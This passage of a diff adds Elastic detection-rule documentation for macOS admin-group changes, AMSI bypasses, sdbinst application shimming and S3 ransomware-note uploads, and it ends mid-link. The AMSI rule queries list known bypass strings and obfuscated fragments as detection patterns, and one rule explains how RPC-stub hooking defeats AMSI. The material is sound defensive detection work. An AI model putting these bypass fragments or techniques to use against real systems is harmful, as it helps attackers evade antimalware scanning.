Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name in ("dscl", "dseditgroup") and process.args like~ ("/Groups/admin", "admin") and process.args like ("-a", "-append") and + not process.Ext.effective_parent.executable like ("/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon", + "/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfManagementService.app/Contents/MacOS/JamfManagementService", + "/opt/jc/bin/jumpcloud-agent", + "/Library/Addigy/go-agent") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-amsi-bypass-via-rpc-runtime-hooking.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-amsi-bypass-via-rpc-runtime-hooking.asciidoc new file mode 100644 index 0000000000..8b323b930d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-amsi-bypass-via-rpc-runtime-hooking.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-potential-amsi-bypass-via-rpc-runtime-hooking]] +=== Potential AMSI Bypass via RPC Runtime Hooking + +Identifies PowerShell script block content associated with an Antimalware Scan Interface (AMSI) bypass that hooks the RPC runtime marshaling stub NdrClientCall3 (or NdrClientCall2) in rpcrt4.dll. Unlike bypasses that patch AmsiScanBuffer or set amsiInitFailed, this technique operates at the RPC layer used by AMSI to delegate scan requests to the antivirus provider, tampering with the request before it reaches the engine and leaving AMSI itself unmodified. The loader allocates an executable trampoline and marshals a delegate to the native stub; these primitives appear in PowerShell Script Block Logging before the hook takes effect. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/andreisss/Ghosting-AMSI + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential AMSI Bypass via RPC Runtime Hooking* + + +The Antimalware Scan Interface (AMSI) delegates scan requests to the registered antivirus provider over RPC. By hooking +the RPC runtime marshaling stub `NdrClientCall3`/`NdrClientCall2` in `rpcrt4.dll`, an adversary can tamper with these +requests so that malicious content is reported as clean, without modifying `amsi.dll` or patching `AmsiScanBuffer`. +This makes the bypass harder to catch via AMSI buffer or memory-write telemetry; the most reliable host artifact is the +loader's own PowerShell script content, captured by Script Block Logging. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` for references to `NdrClientCall3`/`NdrClientCall2`, resolution of + functions in `rpcrt4.dll`, allocation of executable (`PAGE_EXECUTE_READWRITE`) memory, and delegate marshaling via + `GetDelegateForFunctionPointer`. +- PowerShell logs each statement as a separate event; pivot on `host.id` and the PowerShell process id to reconstruct + the full loader sequence and confirm intent. +- Identify how PowerShell was launched (interactive, encoded command, remote session) and review the parent process + tree for download or staging activity. +- Correlate with Elastic Defend endpoint telemetry on the same host around the same time. Note that this RPC-layer hook + may not surface as a memory modification of `rpcrt4.dll`, which is expected for this technique. +- Hunt for the same script content, user, or host pattern across the environment. + + +*False positive analysis* + + +- Security research, detection engineering, and red-team development that legitimately references the RPC runtime + marshaling functions or allocates executable memory from PowerShell can match. Validate the user, host, parent + process, and surrounding script blocks against authorized testing before closing as benign, and add exceptions for + known testing identities or hosts. + + +*Response and remediation* + + +- Isolate the host if the activity is confirmed malicious and review for follow-on payload execution that the bypass + was intended to conceal. +- Terminate the offending PowerShell session and preserve the Script Block Logging events for analysis. +- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, or WDAC. +- Reset credentials for accounts active on the host during the session if follow-on activity is observed. + + +*Limitations* + + +This rule detects the technique only when it is delivered as logged PowerShell script-block text. In-memory delivery, a +PowerShell v2 downgrade, or implementing the hook outside PowerShell (compiled binary) can evade Script Block Logging +and therefore this rule. For customers running Elastic Defend, prefer the companion Endpoint Rule which detects the +VirtualProtect call targeting rpcrt4.dll!NdrClientCall* directly via API telemetry and is not dependent on Script +Block Logging. + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (event ID 4104). The +`Microsoft-Windows-PowerShell/Operational` channel must be collected by the Windows integration or Winlogbeat. + +Setup instructions: https://ela.st/powershell-logging-setup + +==== Rule query + + +[source, js] +---------------------------------- +event.code: "4104" and host.os.type: "windows" and + powershell.file.script_block_text : ( + "NdrClientCall" or + "NdrClientCall2" or + "NdrClientCall3" + ) and + powershell.file.script_block_text : ( + "GetProcAddress" or + "GetDelegateForFunctionPointer" or + "VirtualProtect" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc new file mode 100644 index 0000000000..232717c035 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-potential-antimalware-scan-interface-bypass-via-powershell]] +=== Potential Antimalware Scan Interface Bypass via PowerShell + +Detects PowerShell scripts that reference Antimalware Scan Interface (AMSI) bypass classes, methods, or known bypass strings. Attackers attempt AMSI bypass to disable scanning and run malicious PowerShell content undetected. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Antimalware Scan Interface Bypass via PowerShell* + + +*Possible investigation steps* + + +- Does the preserved script block show active AMSI bypass behavior or reference-only content? + - Focus: `powershell.file.script_block_text`, source in `file.path` or `file.name`, and whether bypass helpers execute or are only mentioned. + - Hint: treat AmsiUtils, amsiInitFailed, AmsiScanBuffer/AmsiOpenSession patching, ScriptBlockAst smuggling, VirtualProtect/Marshal.Copy, and logging suppression as active-behavior anchors. + - Implication: escalate when content flips AMSI state, patches scan routines, smuggles script blocks, or invokes decoded content; lower suspicion only for inert research text or bounded training with no execution path. + +- Does reconstruction add payload execution, download logic, or extra evasion? + - Why: Script Block Logging can split helper functions, decoded strings, and later stages across multiple fragments. + - Focus: reconstruct fragments scoped by `host.id` and `powershell.file.script_block_id`; order with `powershell.sequence`, confirm `powershell.total`, then read `powershell.file.script_block_text`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: review surrounding 4104 blocks for the same `host.id` and `process.pid` with different `powershell.file.script_block_id`; keep timestamp comparison tight to avoid PID reuse. !{investigate{"description":"","label":"PowerShell script blocks for the same process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4104","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if fragments are missing, score visible bypass logic and record the missing sequence range as unresolved, not benign. + - Implication: escalate when reconstruction adds download, decode, in-memory execution, credential access, persistence, Disable Script Logging, or unloadobfuscated/unloadsilent evasion; lower suspicion only when complete fragments remain bounded to authorized lab or training content. + +- Can endpoint process telemetry recover how PowerShell was launched? + - Focus: if available, recover the process via `host.id` and `process.pid` before interpreting `process.*` or `process.parent.*`; read `process.command_line`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`, expanding the window if PowerShell started earlier. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate for encoded commands, PowerShell v2 downgrade, Office/browser parents, remote-administration launchers, or service/network logon that does not fit the user; missing endpoint telemetry leaves launch context unresolved, not benign. + +- Do the user, host, and source context fit an authorized test workflow? + - Focus: `user.id`, `host.id`, `host.name`, preserved `file.path` or `file.name`, and recovered launch context. + - Hint: if no source path is preserved, treat the block as interactive, pasted, in-memory, or remotely delivered and require stronger corroboration before benign closure. + - Implication: escalate when standard-user, shared-workstation, production-server, user-writable-source, or fileless-delivery context cannot be tied to one authorized lab, red-team, detection-engineering, or training case; lower suspicion only when all context supports that exact workflow. + +- If local evidence remains suspicious or unresolved, does the pattern recur for the same user or host? + - Focus: last-48h related alerts for the same `user.id`, looking for repeated AMSI bypass, delivery, credential access, persistence, or defense evasion. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: check the same `host.id` before expanding beyond the affected host or user. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when related alerts show repeated evasion or follow-on abuse; quiet pivots lower scope only and never close active bypass without local evidence proving one exact authorized workflow. + +- Escalate on active bypass logic, suspicious provenance, launch abuse, operational follow-on evidence, or partial/mixed visibility; close only when script content, reconstruction, launch, source, and related-alert evidence bind activity to one exact authorized lab, training, or red-team workflow; preserve artifacts and escalate when outside confirmation is needed. + + +*False positive analysis* + + +- Authorized detection-engineering, red-team, malware-analysis, training, or reference-only course/research use can trigger this rule. Confirm that `powershell.file.script_block_text`, reconstruction, `user.id`, `host.id`, source/session context, and recovered launch context all stay inside the same test case and add no second stage. If records are unavailable, recurrence supports assessment only when the same telemetry pattern proves the exact exercise; do not close on recurrence alone. +- Before creating an exception, validate that the same `user.id`, `host.id`, stable source path, launch context, and reconstructed fragment pattern recur across prior alerts from this rule. Build the exception from that confirmed workflow pattern. Avoid exceptions on AMSI strings alone, on `user.name` alone, or on a host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document which evidence proved the authorized workflow: script content, reconstruction, `user.id`, `host.id`, preserved source path, and recovered launch context. Create an exception only if the same workflow pattern recurs and the telemetry still proves the exact exercise. +- If suspicious but unconfirmed, preserve the script block content, fragment IDs and sequence numbers, `process.pid`, recovered launch details, script-named URLs or paths, source files, and related-alert exports before containment. Apply reversible containment first, such as tighter monitoring on the affected `host.id` or `user.id`, temporary restrictions for script-named URLs, or suspend-process actions when the host role can tolerate them. Escalate to isolation only if reconstructed content or recovered launch evidence confirms operational follow-on activity. +- If confirmed malicious, contain the host or account based on the script content, recovered launch chain, source path, script-named indicators, or related-alert evidence that established unauthorized operational use. Record the recovered PowerShell process details, parent chain, script content, downstream commands, and affected `user.id` / `host.id` before terminating processes, deleting files, or purging sessions. +- Block confirmed malicious script-named URLs or hashes, collect referenced source files, and eradicate only the unauthorized scripts, payloads, startup artifacts, scheduled tasks, and security-control changes expressed in reconstruction or recovered launch context. +- Before destructive cleanup, review related hosts and users for the same script fragments, launch chain, downgrade pattern, script-named indicators, or already-running PowerShell reuse so scope is understood before evidence is removed. +- After the incident, retain Script Block Logging plus required endpoint process telemetry, and document PowerShell version 2 downgrade, logging-suppression, or script-block smuggling variants in the case record. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"process" and host.os.type:windows and + ( + powershell.file.script_block_text : ( + "System.Management.Automation.AmsiUtils" or + amsiInitFailed or + "Invoke-AmsiBypass" or + "Bypass.AMSI" or + "amsi.dll" or + AntimalwareProvider or + amsiSession or + amsiContext or + AmsiInitialize or + unloadobfuscated or + unloadsilent or + AmsiX64 or + AmsiX32 or + FindAmsiFun or + "AllocHGlobal((9076" or + "[cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69" + ) or + powershell.file.script_block_text:("[Ref].Assembly.GetType(('System.Management.Automation" and ".SetValue(") or + powershell.file.script_block_text:("::AllocHGlobal((" and ".SetValue(" and "-replace" and ".NoRMALiZe(") + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-application-shimming-via-sdbinst.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-application-shimming-via-sdbinst.asciidoc new file mode 100644 index 0000000000..2a32e5a946 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-application-shimming-via-sdbinst.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-potential-application-shimming-via-sdbinst]] +=== Potential Application Shimming via Sdbinst + +The Application Shim was created to allow for backward compatibility of software as the operating system codebase changes over time. This Windows functionality has been abused by attackers to stealthily gain persistence and arbitrary code execution in legitimate Windows processes. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Application Shimming via Sdbinst* + + +Application shimming is a Windows feature designed to ensure software compatibility across different OS versions. However, attackers exploit this by using the `sdbinst.exe` tool to execute malicious code under the guise of legitimate processes, achieving persistence. The detection rule identifies suspicious invocations of `sdbinst.exe` by filtering out benign arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of sdbinst.exe with suspicious arguments that do not include the benign flags -m, -bg, or -mm. +- Investigate the parent process of sdbinst.exe to determine if it is a legitimate and expected process or if it is potentially malicious. +- Check the timeline of events around the execution of sdbinst.exe to identify any related or preceding suspicious activities, such as unusual file modifications or network connections. +- Analyze the user account associated with the execution of sdbinst.exe to verify if it is a legitimate user and if there are any signs of account compromise. +- Examine the system for any newly installed or modified application compatibility databases (.sdb files) that could be associated with the suspicious execution of sdbinst.exe. +- Correlate the alert with other security tools and logs, such as Microsoft Defender XDR or Sysmon, to gather additional context and confirm the presence of malicious activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger sdbinst.exe with arguments that are not typically malicious. Users should verify the source and purpose of the software to determine if it is expected behavior. +- System administrators might use sdbinst.exe for deploying compatibility fixes across an organization. In such cases, document these activities and create exceptions for known administrative tasks. +- Some enterprise applications may use sdbinst.exe as part of their normal operation. Identify these applications and exclude their specific command-line arguments from triggering alerts. +- Scheduled tasks or scripts that include sdbinst.exe for maintenance purposes can be a source of false positives. Review these tasks and scripts, and whitelist them if they are part of routine operations. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with `sdbinst.exe` that do not match known legitimate usage patterns. +- Remove any unauthorized or suspicious application compatibility databases (.sdb files) that may have been installed using `sdbinst.exe`. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or persistence mechanisms. +- Review and restore any altered system configurations or registry settings to their default or secure state. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for `sdbinst.exe` executions across the network to detect and respond to future attempts at application shimming. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "sdbinst.exe" and + process.args : "?*" and + not (process.args : "-m" and process.args : "-bg") and + not process.args : ( + "-mm", + "?:\\Windows\\appcompat\\cloudsdb\\apppatch.sdb", + "\"?:\\Windows\\appcompat\\cloudsdb\\apppatch.sdb\"", + "?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\sysMergeInboxStoreApp.sdb", + "\"?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\sysMergeInboxStoreApp.sdb\"", + "?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\msiMergeInboxStoreApp.sdb", + "\"?:\\Program Files\\WindowsApps\\Microsoft.ApplicationCompatibilityEnhancements_*\\sdb\\msiMergeInboxStoreApp.sdb\"", + "?:\\Program Files (x86)\\Citrix\\ICA Client\\CitrixWorkspaceLegacySWDA.sdb", + "Citrix Workspace", + "C:\\Program Files\\IIS Express\\iisexpressshim.sdb", + "C:\\Program Files (x86)\\IIS Express\\iisexpressshim.sdb" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Application Shimming +** ID: T1546.011 +** Reference URL: https://attack.mitre.org/techniques/T1546/011/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Application Shimming +** ID: T1546.011 +** Reference URL: https://attack.mitre.org/techniques/T1546/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc new file mode 100644 index 0000000000..47ef6c59ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-potential-aws-s3-bucket-ransomware-note-uploaded]] +=== Potential AWS S3 Bucket Ransomware Note Uploaded + +Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ +* https://www.mdpi.com/2073-431X/10/11/145#computers-10-00145-f002 + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential AWS S3 Bucket Ransomware Note Uploaded* + + +This rule detects a successful `PutObject` to S3 where the object key matches common ransomware-note patterns (for example, `readme`, `decrypt`, `ransom`, and combinations with `file`). Attackers who obtain credentials or abuse overly-permissive bucket policies can upload ransom notes (often after deleting or encrypting data). + + +*Possible investigation steps* + + +**Confirm the actor and session details** +- Review `aws.cloudtrail.user_identity.*` (ARN, type, access key, session context), `source.ip`, `user.agent`, and `tls.client.server_name` to identify who performed the upload and from where. Validate whether this principal typically writes to this bucket. + +**Inspect the object key and bucket context** +- From `aws.cloudtrail.request_parameters`, capture the exact `key` and `bucketName`. Check whether the key is publicly readable (ACL), whether the bucket is internet-exposed, and whether replication or lifecycle rules could propagate or remove related objects. + +**Pivot to related S3 activity around the same time** +- Look for `DeleteObject`/`DeleteObjects`, mass `PutObject` spikes, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, and `PutBucketLifecycleConfiguration` events on the same bucket or by the same actor to determine if data destruction, policy tampering, or guard-rail changes occurred. + +**Assess blast radius across the account** +- Search recent CloudTrail for the same actor/IP touching other buckets, KMS keys used by those buckets, and IAM changes (new access keys, policy attachments, role assumptions) that could indicate broader compromise paths consistent with ransomware playbooks. + +**Check protections and recovery posture on the bucket** +- Verify whether S3 Versioning and (if in use) Object Lock legal hold are enabled; note prior versions available for the affected key, and whether lifecycle rules might expire them. + +**Correlate with threat signals** +- Review other related alerts, GuardDuty S3-related findings, AWS Config drift on the bucket and its policy, and any SOAR/IR runbook executions tied to ransomware triage. + + +*False positive analysis* + +- Planned tests or red-team exercises +- Benign automation naming. Some data-migration or backup tools may use “readme”/“recovery”-style filenames; validate by `user.agent`, principal, and target environment (dev vs prod). + + + +*Response and remediation* + + +**Immediate, low-risk actions (safe for most environments)** +- **Preserve context** : Export the triggering `PutObject` CloudTrail record(s), plus 15–30 min before/after, to an evidence bucket (restricted access). +- **Snapshot configuration** : Record current bucket settings (Block Public Access, Versioning, Object Lock, Bucket Policy, Lifecycle rules) and any KMS keys used. +- **Quiet the spread** : Pause destructive automation: disable/bypass lifecycle rules that would expire/delete object versions; temporarily pause data pipelines targeting the bucket. +- **Notify owners** : Inform the bucket/application owner(s) and security leadership. + +**Containment options (choose the least disruptive first)** +- **Harden exposure** : If not already enforced, enable `Block Public Access` for the bucket. +- **Targeted deny policy (temporary)** : Add a restrictive bucket policy allowing only IR/admin roles while you scope impact. Reconfirm critical workload dependencies before applying. +- **Credential risk reduction** : If a specific IAM user/key or role is implicated, rotate access keys; for roles, remove risky policy attachments or temporarily restrict with an SCP/deny statement. + +**Evidence preservation** +- Export relevant CloudTrail events, S3 server/access logs (if enabled), AWS Config history for the bucket/policy, and the suspicious object plus its previous versions (if Versioning is enabled). +- Document actor ARN, source IPs, user agent(s), exact `bucketName`/`key`, and timestamps. Maintain a simple chain-of-custody note for collected artifacts. + +**Scope and hunting (same actor/time window)** +- Look for `DeleteObject(s)`, unusual `PutObject` volume, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning` changes, `PutBucketLifecycleConfiguration`, and cross-account access. +- Cross reference other buckets touched by the same actor/IP; recent IAM changes (new keys, policy/role edits); GuardDuty findings tied to S3/credentials. + +**Recovery (prioritize data integrity)** +- If Versioning is enabled, restore last known-good versions for impacted objects. Consider applying Object Lock legal hold to clean versions during recovery if configured. +- If Versioning is not enabled, recover from backups (AWS Backup, replication targets). Enable Versioning going forward on critical buckets; evaluate Object Lock for high-value data. +- Carefully remove any temporary deny policy only after credentials are rotated, policies re-validated, and no ongoing destructive activity is observed. + +**Post-incident hardening** +- Enforce `Block Public Access`, enable Versioning (and MFA-Delete where appropriate), and review bucket policies for least privilege. +- Ensure continuous CloudTrail data events for S3 are enabled in covered regions; enable/verify GuardDuty S3 protections and alerts routing. +- Add detections for related behaviors (policy tampering, bulk deletes, versioning/lifecycle toggles) and create allowlists for known maintenance windows. + + + +*Additional information* + + +- For further guidance on managing S3 bucket security and protecting against ransomware, refer to the https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html[AWS S3 documentation] and AWS best practices for security. +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-Ransomware.md[AWS IRP—Ransomware] (NIST-aligned template for evidence, containment, eradication, recovery, post-incident). +- https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Ransom_Response_S3.md[AWS Customer Playbook—Ransom Response (S3)] (bucket-level response steps: public access blocks, temporary deny, versioning/object lock, lifecycle 